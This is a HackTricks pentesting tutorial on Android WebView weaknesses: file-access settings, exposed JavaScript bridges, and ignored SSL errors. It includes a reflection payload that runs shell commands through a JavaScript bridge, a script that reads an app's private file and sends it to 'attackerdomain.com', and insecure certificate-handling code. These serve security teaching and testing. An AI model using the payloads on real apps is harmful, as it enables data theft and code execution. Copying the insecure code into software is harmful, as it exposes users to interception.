hacktricks/mobile-apps-pentesting/android-app-pentesting/webview-attacks.md
2021-05-29 16:28:54 +00:00

12 KiB

Webview Attacks

Interesting Configurations

File Access

WebView file access is enabled by default. Since API 3 Cupcake 1.5 the method setAllowFileAccess() is available for explicitly enabling or disabling it.
If the application has android.permission.READ_EXTERNAL_STORAGE it will be able to read and load files from the external storage.
The WebView needs to use a File URL Scheme, e.g., file://path/file, to access the file.

Universal Access From File URL Deprecated

Sets whether cross-origin requests in the context of a file scheme URL should be allowed to access content from any origin. This includes access to content from other file scheme URLs or web contexts. Note that some access such as image HTML elements doesn't follow same-origin rules and isn't affected by this setting.

Don't enable this setting if you open files that may be created or altered by external sources. Enabling this setting allows malicious scripts loaded in a file:// context to launch cross-site scripting attacks, either accessing arbitrary local files including WebView cookies, app private data or even credentials used on arbitrary web sites.

In summary this will prevent loading arbitrary Origins. The app will send the URL request lo load the content with Origin: file:// if the response doesn't allow that origin **`Access-Control-Allow-Origin: file://`** then the content won't be loaded.
The default value is false when targeting Build.VERSION_CODES.JELLY_BEAN and above.

File Access From File URLs Deprecated

Sets whether cross-origin requests in the context of a file scheme URL should be allowed to access content from other file scheme URLs. Note that some accesses such as image HTML elements don't follow same-origin rules and aren't affected by this setting.

Don't enable this setting if you open files that may be created or altered by external sources. Enabling this setting allows malicious scripts loaded in a file:// context to access arbitrary local files including WebView cookies and app private data.

In summary, this prevents javascript to access local files via file:// protocol.
Note that the value of this setting is ignored if the value of getAllowUniversalAccessFromFileURLs() is true.
The default value is false when targeting Build.VERSION_CODES.JELLY_BEAN and above.

File Access

Enables or disables file access within WebView. Note that this enables or disables file system access only. Assets and resources are still accessible using file:///android_asset and file:///android_res.

In summary, if disable, the WebView won't be able to load a local file with the file:// protocol.
The default value isfalse when targeting Build.VERSION_CODES.R and above.

Javascript Enabled

WebViews have Javascript disabled by default. The method setJavaScriptEnabled() is can explicitly enabling or disabling it.
Note that webviews can also support the intent scheme that allows to fire other applications. Read this writeup to find how to go from XSS to RCE.

Javascript Bridge

Android offers a way for JavaScript executed in a WebView to call and use native functions of an Android app annotated with `@JavascriptInterface` by using the addJavascriptInterface method. This is known as a WebView JavaScript bridge or native bridge.

Please note that when you use addJavascriptInterface, you're explicitly granting access to the registered JavaScript Interface object to all pages loaded within that WebView. This implies that, if the user navigates outside your app or domain, all other external pages will also have access to those JavaScript Interface objects which might present a potential security risk if any sensitive data is being exposed though those interfaces.

Warning: Take extreme care with apps targeting Android versions below Android 4.2 API level 17 as they are vulnerable to a flaw in the implementation of addJavascriptInterface: an attack that is abusing reflection, which leads to remote code execution when malicious JavaScript is injected into a WebView. This was due to all Java Object methods being accessible by default instead of only those annotated.

Static Analysis

//Class with a method to access a secret
public class JavascriptBridge {
        // Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
        // not annotated with @JavascriptInterface are not visible from JavaScript
        @JavascriptInterface
        public String getSecret() {
            return "SuperSecretPassword";
        };

}
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
<!-- Exploit to get the secret from JavaScript -->
<script>alert(javascriptBridge.getSecret());</script>

With access to the JavaScript code, via, for example, via stored XSS, MITM attack or a malicious website that is loaded inside the WebView, can directly call the exposed Java methods.

{% hint style="info" %} Note that in the case of trying to exploit this vulnerability via an Open Redirect to an attackers web page that access the Native Android Objet. If the access to the redirection is done via a mobile browser and not using the same WebView, the browser won't be able to access the native Android object. {% endhint %}

If addJavascriptInterface is necessary, take the following considerations:

  • Only JavaScript provided with the APK should be allowed to use the bridges, e.g. by verifying the URL on each bridged Java method via `WebView.getUrl`.
  • No JavaScript should be loaded from remote endpoints, e.g. by keeping page navigation within the app's domains and opening all other domains on the default browser e.g. Chrome, Firefox.
  • If necessary for legacy reasons e.g. having to support older devices, at least set the minimal API level to 17 in the manifest file of the app `<uses-sdk android:minSdkVersion="17" />`.

Javascript Bridge to RCE via Reflection

As noted in this research _check it for ideas in case you obtain RCE_ ****once you found a JavascriptBridge it may be possible to obtain RCE via Reflection using a payload like the following one:

<!-- javascriptBridge is the name of the Android exposed object -->
<script>
function execute(cmd){
  return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>

However modern applications may use the @JavascriptInterface annotation that indicates to the JavascriptBridge that only the method with this annotation should be exposed.
In that scenario, you won't be able to abuse Reflection to execute arbitrary code.

Scenarios

Javascript Enabled & FileSystemAccess Disabled

In this scenario an attacker is able to inject Javascript code inside the web page opened via webview by the victim. This could be done maybe via XSS or making the webview load a malicious HTML page stored inside the phone.
This webview has Javascript enabled but no access to the file system.

In this scenario the attacker won't be able to read local files, but depending on the permissions of the application this could allow an attacker to interact with the functionality of the device read SMS, microphone recording etc. exposing the security of the application and the device itself into great risk.

Javascript Enabled & FileSystemAccess enabled

The scenario is like the one mentioned previously but the webview now have FileSystem access.
An attacker could try to ex-filtrate files with javascript code like:

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
    window.location.replace('https://attackerdomain.com/?exfiltrated='+xhr.responseText);
    }
}
xhr.open('GET', 'file:///data/data/pt.integrity.labs.webview_remote/files/sandbox_file.txt', true);
xhr.send(null);

So even with file access enabled in the WebView, due to the fact that the file scheme request is considered a Cross Origin Request and hence disallowed, the attacker will not be able to exfiltrate files this way.

Note that if the attacker is able to control the mobile where the vulnerable application is running, he could be able to abuse it to make it load the internal file and see it. In this case the CORS isn't stopping the attack because the attacker is directly accessing the file instead of trying to access it from a different origin.

CORS related errors looks like this:

05-09 12:38:59.306 27768 27768 I chromium: [INFO:CONSOLE(20)] Failed to load file:///data/data/pt.integrity.labs.webview_remote/files/sandbox_file.txt: Cross origin requests are only supported for protocol schemes: http, data, chrome, https.”, source: https://labs.integrity.pt/ (20)

Javascript Enabled, FileSystemAccessEnabled & CORS Disabled

In this scenario, using the same Javascript payload, you will finally be able to ex-filtrate internal files.

SSL Error Handling

The code below instructs the WebView client to proceed when an SSL error occur. This means that the application is vulnerable to MiTM attacks as it could allow an attacker to read or modify content that is displayed to the user since any certificate would be accepted by the application.

@Override
public void onReceivedSslError(WebView view, SslErrorHandler handler,
SslError error)
{
    handler.proceed();
}

References